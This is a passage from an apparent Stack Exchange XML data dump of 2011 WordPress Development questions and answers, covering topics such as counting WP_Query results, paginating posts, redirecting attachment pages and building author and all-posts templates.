LastEditorDisplayName="" LastEditDate="2011-08-28T13:03:59.150" LastActivityDate="2011-08-29T00:22:36.277" Title="Make Selected Mutiselect Items &quot;selected&quot;" Tags="&lt;php&gt;&lt;array&gt;&lt;foreach&gt;&lt;select&gt;" AnswerCount="2" />
  <row Id="27116" PostTypeId="1" AcceptedAnswerId="27117" CreationDate="2011-08-28T13:34:07.150" Score="1" ViewCount="21" Body="&lt;p&gt;I tried tplacing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php $count = count($custom_posts); ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;?php echo $count; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at the end of the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;?php if ( bbp_get_forum_title() == 'Test Forum 1' ) : ?&amp;gt;&#xA;            &amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;            &amp;lt;?php $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Business and Finance&amp;amp;order=DESC'); ?&amp;gt;&#xA;            &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;ad&quot;&amp;gt;&#xA;                    &amp;lt;?php the_content(); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php $count = count($custom_posts); ?&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php echo $count; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But instead of the total of posts, I getting this output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Translation 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam&#xA;  nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat&#xA;  volutpat. Ut wisi enim 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to fix this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-08-28T13:53:23.903" Title="Counting the posts of a custom Wordpress loop (WP_Query)?" Tags="&lt;custom-loop&gt;" AnswerCount="1" />
  <row Id="27117" PostTypeId="2" ParentId="27116" CreationDate="2011-08-28T13:53:23.903" Score="2" ViewCount="" Body="&lt;p&gt;Correct way of getting the total number of posts is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $count = $custom_posts-&amp;gt;post_count; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Properties&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Properties&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-08-28T13:53:23.903" CommentCount="1" />
  <row Id="27118" PostTypeId="1" AcceptedAnswerId="27126" CreationDate="2011-08-28T14:07:56.860" Score="0" ViewCount="20" Body="&lt;p&gt;I run a music blog and I want to do a countdown of our top 50 tracks of 2011 so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no way that I want to add 50+ images and Audio Players into just one post, and I don't want to break the post down into separate posts either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some kind of plugin or function that will allow me to add pages to the post so I could have say 10 tracks per page?&lt;/p&gt;&#xA;" OwnerUserId="4488" LastActivityDate="2011-08-28T15:09:01.837" Title="How do I create pages within a Wordpress post?" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="27119" PostTypeId="1" CreationDate="2011-08-28T14:21:18.043" Score="0" ViewCount="25" Body="&lt;p&gt;A lot of my theme's image pages are ranking on Google. I'd like to remove these pages entirely from my theme so they no longer rank. When a user hits these image pages the content is taken out of context and looks very confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a ranking image page: &lt;a href=&quot;http://www.barbadospropertylist.com/2011/08/stephanie-barnes-interior-design-studio/cei_5346/&quot; rel=&quot;nofollow&quot;&gt;http://www.barbadospropertylist.com/2011/08/stephanie-barnes-interior-design-studio/cei_5346/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That image is part of blog post at: &lt;a href=&quot;http://www.barbadospropertylist.com/2011/08/stephanie-barnes-interior-design-studio/&quot; rel=&quot;nofollow&quot;&gt;http://www.barbadospropertylist.com/2011/08/stephanie-barnes-interior-design-studio/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-08-28T19:28:20.347" Title="How can I remove image taxonomy pages from my theme and from Google?" Tags="&lt;theme-development&gt;&lt;images&gt;&lt;taxonomy&gt;&lt;seo&gt;&lt;google-search&gt;" AnswerCount="2" />
  <row Id="27120" PostTypeId="1" CreationDate="2010-07-30T06:50:08.237" Score="3" ViewCount="20" Body="&lt;p&gt;I'm using custom post types in Wordpress 3.0 (now 3.0.1) to setup a custom directory system, but can't seem to find how to list out the categories under the custom taxonomy similar to how you'd use the wp_list_categories for normal posts. Anyone know how you'd do this on a page? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen suggestions for options like the following, but have had no luck when popping them in there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//list terms in a given taxonomy using wp_list_categories  (also useful as a widget)&#xA;$orderby = 'name';&#xA;$show_count = 0; // 1 for yes, 0 for no&#xA;$pad_counts = 0; // 1 for yes, 0 for no&#xA;$hierarchical = 1; // 1 for yes, 0 for no&#xA;$taxonomy = 'genre';&#xA;$title = '';&#xA;&#xA;$args = array(&#xA;  'orderby' =&amp;gt; $orderby,&#xA;  'show_count' =&amp;gt; $show_count,&#xA;  'pad_counts' =&amp;gt; $pad_counts,&#xA;  'hierarchical' =&amp;gt; $hierarchical,&#xA;  'taxonomy' =&amp;gt; $taxonomy,&#xA;  'title_li' =&amp;gt; $title&#xA;);&#xA;?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;wp_list_categories($args);&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-08-28T14:26:52.447" Title="List Categories for Custom Post Types - Wordpress" Tags="&lt;custom-post-types&gt;" AnswerCount="3" CommentCount="0" />
  <row Id="27121" PostTypeId="2" ParentId="27120" CreationDate="2010-07-30T13:50:41.243" Score="2" ViewCount="" Body="&lt;p&gt;Are you sure you called &lt;code&gt;register_taxonomy&lt;/code&gt; before you called &lt;code&gt;wp_list_categories&lt;/code&gt;? &lt;code&gt;register_taxonomy&lt;/code&gt; should be called in the &lt;code&gt;init&lt;/code&gt; action hook, your template code (I assume you use it there) after that.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-07-30T13:50:41.243" />
  <row Id="27122" PostTypeId="2" ParentId="27120" CreationDate="2011-01-17T17:03:07.700" Score="2" ViewCount="" Body="&lt;p&gt;you have to post some content associated to your taxonomy[custom taxonomy] first! I used you code in my project and works like a charm!&lt;/p&gt;&#xA;" OwnerUserId="2603" LastActivityDate="2011-01-17T17:03:07.700" />
  <row Id="27123" PostTypeId="2" ParentId="27120" CreationDate="2011-03-02T08:11:09.077" Score="0" ViewCount="" Body="&lt;p&gt;If you need something more like ordering, filtering and pagination, see my post : &lt;a href=&quot;http://geryit.com/blog/2011/03/wordpress-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;http://geryit.com/blog/2011/03/wordpress-custom-post-types/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3600" LastActivityDate="2011-03-02T08:11:09.077" />
  <row Id="27124" PostTypeId="2" ParentId="24891" CreationDate="2011-08-28T14:40:37.640" Score="1" ViewCount="" Body="&lt;p&gt;I was able to display a 404 error by using the following code in my header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  global $wp_query;&#xA;  $wp_query-&amp;gt;set_404();&#xA;  status_header( 404 );&#xA;  get_template_part( 404 ); exit();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To break it down:&lt;br&gt;&#xA;&lt;code&gt;$wp_query-&amp;gt;set_404()&lt;/code&gt;: tells the wp_query this is a 404, this changes the title&lt;br&gt;&#xA;&lt;code&gt;status_header()&lt;/code&gt;: sends a HTTP 404 header&lt;br&gt;&#xA;&lt;code&gt;get_template_part()&lt;/code&gt;: displays the 404 template  &lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-08-28T14:40:37.640" />
  <row Id="27125" PostTypeId="1" CreationDate="2011-08-27T15:31:43.877" Score="-1" ViewCount="9" Body="&lt;p&gt;I have created &lt;a href=&quot;http://www.ionisedmesh.com&quot; rel=&quot;nofollow&quot;&gt;this website&lt;/a&gt; but I am having some problems in styling the sidebar on this website.  When I try to add the Feedburner icon without any styling it sticks to the jQuery slider on the left like in the picture but when I try to float it on right it goes down, beside the jQuery slider, if you visit the website you will come to see this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/jJtjR.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using margin-left but it seems to have no effect on the icon it stays where it is. I tried placing an Ad 250x250 unit here too but it acted in the same way. Margin-left did not have any effect but when I used &lt;code&gt;float:right&lt;/code&gt; it shifted down beside the jQuery slider. Can you guys give guide me on this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I need an Ad unit 250x250 that is right beneath the black line and its right boundary is underneath the right boundary of the black line on top, so that it is properly spaced from the jQuery slider. &lt;/p&gt;&#xA;" LastActivityDate="2011-08-28T15:05:28.313" Title="Wordpress sidebar styling issues" Tags="&lt;css&gt;" CommentCount="2" />
  <row Id="27126" PostTypeId="2" ParentId="27118" CreationDate="2011-08-28T15:09:01.837" Score="1" ViewCount="" Body="&lt;p&gt;WordPress actually comes with pagination built in. I don't believe there's a button on the visual editor by default, but in HTML mode you should be able to insert &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; wherever you'd like a page break and it will work. Styling the pagination links would likely be the next step after that: &lt;a href=&quot;http://codex.wordpress.org/Styling_Page-Links&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Styling_Page-Links&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-28T15:09:01.837" CommentCount="1" />
  <row Id="27127" PostTypeId="1" AcceptedAnswerId="27134" CreationDate="2011-08-28T15:40:23.547" Score="0" ViewCount="28" Body="&lt;p&gt;I have restricted to display 20 posts on index.php, but also I want to add a link to display all posts without restrictions. Any advices on how to achieve this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8196" LastActivityDate="2011-08-29T18:37:54.547" Title="Is it posibble to have alink to display all posts on index.php?" Tags="&lt;wordpress.org&gt;" AnswerCount="1" />
  <row Id="27128" PostTypeId="1" CreationDate="2011-08-28T15:44:46.533" Score="4" ViewCount="93" Body="&lt;p&gt;I'm working on a project to allow a number of mini-sites within a WordPress multisite installation.  Here's how it's &lt;em&gt;supposed&lt;/em&gt; to function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client has a large number of individual locations, each of which has their own website.  All of these websites are sites within a large WordPress network to allow for centralized user and site maintenance.  This part is working already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But each location has any number of clients and wants each client to have their own &quot;mini-site&quot; within the network.  Essentially a new WordPress site, but housed underneath the location's site, URL, and administrator list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users of the mini-site should only be able to use that mini-site, not the parent site, and not any other site on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I've been working on this, I've come across two different ways to set this up.  Both are somewhat complex:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Multi-network Installation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;WordPress allows you to install several standalone networks with one codebase.  It's like multisite, but on steroids.  My first attempt at solving the above problem was to bury a bunch of multi-network functionality in the system.  When you added a new client mini-site, you were actually adding a new site to a network &quot;owned&quot; by the parent site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This half-worked.  You could create the sites just fine, but without deeper control over the server (my client asked for a plugin, something they can drop on the server without needing to give me SSH access) it was difficult to get the routing to work in Apache.  Some of the new mini-sites would load, others would 404, others would redirect back to the parent site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other problem was management.  Though you could create as many mini-sites as you wanted (and could verify through phpMyAdmin that they existed), I had difficulty reading back out a list of the sites that were available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other problem was database management.  Every time you create a new site, you create 10+ new tables in the database.  If the site will only ever have 1 or 2 posts/pages, this is overkill.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Custom Post Type with Theme Override&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;My new approach is to set up the clients as a custom post type.  Then, users of the parent site can write new posts and check a field in a meta box to associate the content with a client (using a post-to-post relationship scheme).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you visit the page for the custom post type, WordPress overrides the display and presents a custom theme (a mod of P2) displaying posts associated with the custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not as many problems with scalability here, just in content management.  I haven't quite figured out a way to allow filtering of content from one client to another (remember, content is associated with a CPT based on a meta field, so unless I build out another post management screen, it's hard to view &quot;all posts for client-x&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question:&#xA;Which of these approaches is the best?  Is there another approach I should consider that might be easier for the end user to work with?&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-09-02T16:18:20.047" CommunityOwnedDate="2011-08-28T15:45:11.087" Title="Mini-Site Strategy" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;theme-development&gt;" CommentCount="3" FavoriteCount="2" />
  <row Id="27129" PostTypeId="2" ParentId="27119" CreationDate="2011-08-28T15:48:27.047" Score="0" ViewCount="" Body="&lt;p&gt;There are a few options you can choose. Depending on how your theme is set up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand you correctly, you want to remove the page that you go to when the image is clicked, correct? If so, do you want to remove the link all together?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove the links to your images, you can do it a few ways. If the images are added via the post/pages manager you can navigate to the post that contains the image. Go to the post editor for the post that has the image, click on the image to bring up the edit/delete icon in the top left corner of the image. Click the icon that is next to the delete icon. You will now see some dialogue boxes. Where it says &quot;Image Links To&quot; click the none button and click update. Now update the post or page.&#xA;(This will remove any links to the files). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove the URL's that are already indexed, the easiest way is to set up a Google Webmaster Account. It's not required, but is the optimal way. What you will need to do is adjust the robots.txt file. To remove all images from being indexed you will add this to the robots.txt file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: Googlebot-Image&#xA;Disallow: / &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To block only certain image directories, you would use this or something similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: Googlebot-Image&#xA;Disallow: /images/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read more about it in the WP Hacks article found here:&#xA;&lt;a href=&quot;http://wphacks.com/how-to-prevent-google-from-indexing-your-images/&quot; rel=&quot;nofollow&quot;&gt;http://wphacks.com/how-to-prevent-google-from-indexing-your-images/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or from the &lt;strong&gt;Google Webmaster Page Here:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?answer=35308&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/support/webmasters/bin/answer.py?answer=35308&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove all attachment pages by re-directing them to the parent page, you might try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Create a new PHP file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; Paste this line in it :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_redirect(get_permalink($post-&amp;gt;post_parent)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; Save the file as &quot;image.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4)&lt;/strong&gt; Upload it into your theme folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOURCE:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/disable-attachment-posts-without-remove-the-medias&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/disable-attachment-posts-without-remove-the-medias&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that covers what you're asking. If I'm missing your point, please clarify and I'll try again to assist you with your question.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-28T15:48:27.047" />
  <row Id="27130" PostTypeId="2" ParentId="27119" CreationDate="2011-08-28T15:57:29.673" Score="1" ViewCount="" Body="&lt;p&gt;Google is finding those pages because you're linking to them.  Most likely this happens when you use the media uploader and hit the &quot;insert into post&quot; button.  Unless you tell it otherwise, WP will link to the attachment page intead of the image file.  So head to your pages and remove the links to attachment pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not recommend you prevent google bot from indexing your images (as one answer suggests), that is not the issue. Plus getting traffic from image search is not a bad thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a sitemap, ensure that the sitemap is not including the attachment pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've removed the links to attachment pages, you can &quot;disable&quot; attachment pages by hooking into template redirect like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'template_redirect', 'wpse27119_template_redirect' );&#xA;function wpse27119_template_redirect()&#xA;{&#xA;    // get out of here if we're not headed to an attachment page    &#xA;    if( ! is_attachment() ) return; &#xA;&#xA;    // Find the $post variable representing the page where we're heading&#xA;    global $post;&#xA;    if( empty( $post ) ) $post = get_queried_object();&#xA;&#xA;    // Find the permalink of our parent post&#xA;    $link = get_permalink( $post-&amp;gt;post_parent );&#xA;&#xA;    // redirect to the parent page&#xA;    wp_redirect( $link, 301 );&#xA;    exit(); // always call exit after wp_redirect&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a plugin: &lt;a href=&quot;http://pastie.org/2443854&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/2443854&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6035" LastEditorUserId="6035" LastEditorDisplayName="" LastEditDate="2011-08-28T19:28:20.347" LastActivityDate="2011-08-28T19:28:20.347" />
  <row Id="27131" PostTypeId="2" ParentId="27115" CreationDate="2011-08-28T16:09:52.070" Score="1" ViewCount="" Body="&lt;p&gt;I'm assuming your &lt;code&gt;$selected&lt;/code&gt; variable contains an array of values for the currently selected items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't use selected in this case (with multi select boxes) because it only compares two strings.  It won't test to see if the value is in an array.  Instead, use a ternary statement and &lt;a href=&quot;http://php.net/manual/en/function.in-array.php&quot; rel=&quot;nofollow&quot;&gt;in_array&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;foreach ($cats as $cat_list ) { &#xA;$selected = in_array( $cat_list-&amp;gt;cat_ID, $selected ) ? ' selected=&quot;selected&quot; ' ? '';    &#xA;?&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo $cat_list-&amp;gt;cat_ID; ?&amp;gt;&quot; &amp;lt;?php echo $selected; ?&amp;gt;&amp;gt;&amp;lt;?php echo $cat_list-&amp;gt;cat_name; ?&amp;gt;&amp;lt;/option&amp;gt; &#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-28T16:09:52.070" CommentCount="2" />
  <row Id="27132" PostTypeId="2" ParentId="27111" CreationDate="2011-08-28T16:18:23.273" Score="1" ViewCount="" Body="&lt;p&gt;This is probably happening because the taxonomy you're trying to query is registered yet.  Eg. The WordPress environment is loaded when a theme's functions.php file loads, but many plugins/themes/core functions don't register taxonomies until later.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try hooking into &lt;code&gt;init&lt;/code&gt; with a really high priority number and running the &lt;code&gt;get_term_by&lt;/code&gt; function.  Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'init', 'wpse27111_tester', 999 );&#xA;function wpse27111_tester()&#xA;{&#xA;    $term = get_term_by('slug', 'some-term', 'some-taxonomy');&#xA;    var_dump($term);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-28T16:18:23.273" />
  <row Id="27133" PostTypeId="1" CreationDate="2011-08-28T16:22:51.727" Score="0" ViewCount="43" Body="&lt;p&gt;I would like to mask the page slug as its the same as the menu or page title. In the admin section it requires at least 1 character and won't accept a &quot;space&quot;. I changed font color in the css file but that also changed the menu. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8205" LastActivityDate="2011-08-28T16:34:15.080" Title="I need to hide the page slug is there a way to do this?" Tags="&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="27134" PostTypeId="2" ParentId="27127" CreationDate="2011-08-28T16:26:05.780" Score="1" ViewCount="" Body="&lt;p&gt;You could create a template called all-posts.php and place this code inside of it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* Template Name: All posts */ ?&amp;gt;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;primary&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;          $args = array( 'numberposts' =&amp;gt; -1 );&#xA;          $lastposts = get_posts( $args );&#xA;          foreach($lastposts as $post) : setup_postdata($post); ?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;?php the_content(); ?&amp;gt;&#xA;      &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .entry --&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #primary --&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you would save that file, upload it to your theme's main directory. Next you could create a page called All Posts, or whatever you wanted. When you are in the New Page or Page Edit screen, just choose the new template you just made called All Posts from the &lt;strong&gt;Page Attributes drop-down list&lt;/strong&gt; in the right side of the edit pages screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click update and add the page to your menu. You will now have a page that shows all posts. You can copy the URL and use it to link to all posts from the page you are speaking of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;REVISED TO SHOW HOW TO ADD &quot;NEW DIV&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There really isn't a need to add an extra div tag for this template. Each post will have it's own id by default. If you use Firefox you can install one or both of the following plug-ins to inspect each post for it's unique ID:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/web-developer/&quot; rel=&quot;nofollow&quot;&gt;Web Developer Plug-in&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/firebug/&quot; rel=&quot;nofollow&quot;&gt;FireBug Plug-in&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have them installed get familiar with the available tools and you'll have access to lots of valuable data. I'm going to past the code again with a new div added just in-case you don't figure out how to identify the posts as I've explained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code with new DIV Tag:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* Template Name: All posts */ ?&amp;gt;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;primary&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;          $args = array( 'numberposts' =&amp;gt; -1 );&#xA;          $lastposts = get_posts( $args );&#xA;          foreach($lastposts as $post) : setup_postdata($post); ?&amp;gt;&#xA;     &amp;lt;div class=&quot;new-div&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .entry --&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #primary --&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The new DIV is the one called &quot;new-div&quot;. You can add a little css to the new div so you can see it in action. Just add this to your style.css file for a red border (just for testing purposes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.new-div {&#xA;width:100%;&#xA;height:100%;&#xA;display:block;&#xA;border:1px solid red;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5339" LastEditorUserId="5339" LastEditorDisplayName="" LastEditDate="2011-08-29T18:37:54.547" LastActivityDate="2011-08-29T18:37:54.547" CommentCount="5" />
  <row Id="27135" PostTypeId="2" ParentId="27133" CreationDate="2011-08-28T16:34:15.080" Score="0" ViewCount="" Body="&lt;p&gt;If you simply want to remove the post title, you can open the template file that is being used and remove:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_title(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wouldn't recommend going that route. You can also name the menu items whatever you want if your theme is using WordPress Custom Menu's. If you want to try this route, go to Appearance&gt;Menu's and click on the menu you want to edit. Now click on one of the arrows in the top right of one of the menu items. Change the name where it says Navigation Label to whatever you want and save the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if that covers your question, maybe if you explained the ideal outcome I could assist you better with your problem. &lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-28T16:34:15.080" CommentCount="12" />
  <row Id="27137" PostTypeId="1" CreationDate="2011-08-28T15:51:20.847" Score="0" ViewCount="27" Body="&lt;p&gt;I'm working on a site that will have 6 authors. Each author will have their own page that will only show their posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is the best way to handle this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to do by creating a page or using the url such as /?a=username. However, if there is a more standard or a better way feel free to suggest that instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8278" LastActivityDate="2011-08-28T17:25:52.913" Title="How can I show wordpress posts based on author?" Tags="&lt;posts&gt;&lt;author&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="27138" PostTypeId="2" ParentId="27137" CreationDate="2011-08-28T17:25:52.913" Score="1" ViewCount="" Body="&lt;p&gt;Create an author.php page. It should take care of that. Check this page for more info &lt;a href=&quot;http://codex.wordpress.org/Author_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Author_Templates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-28T17:25:52.913" CommentCount="2" />
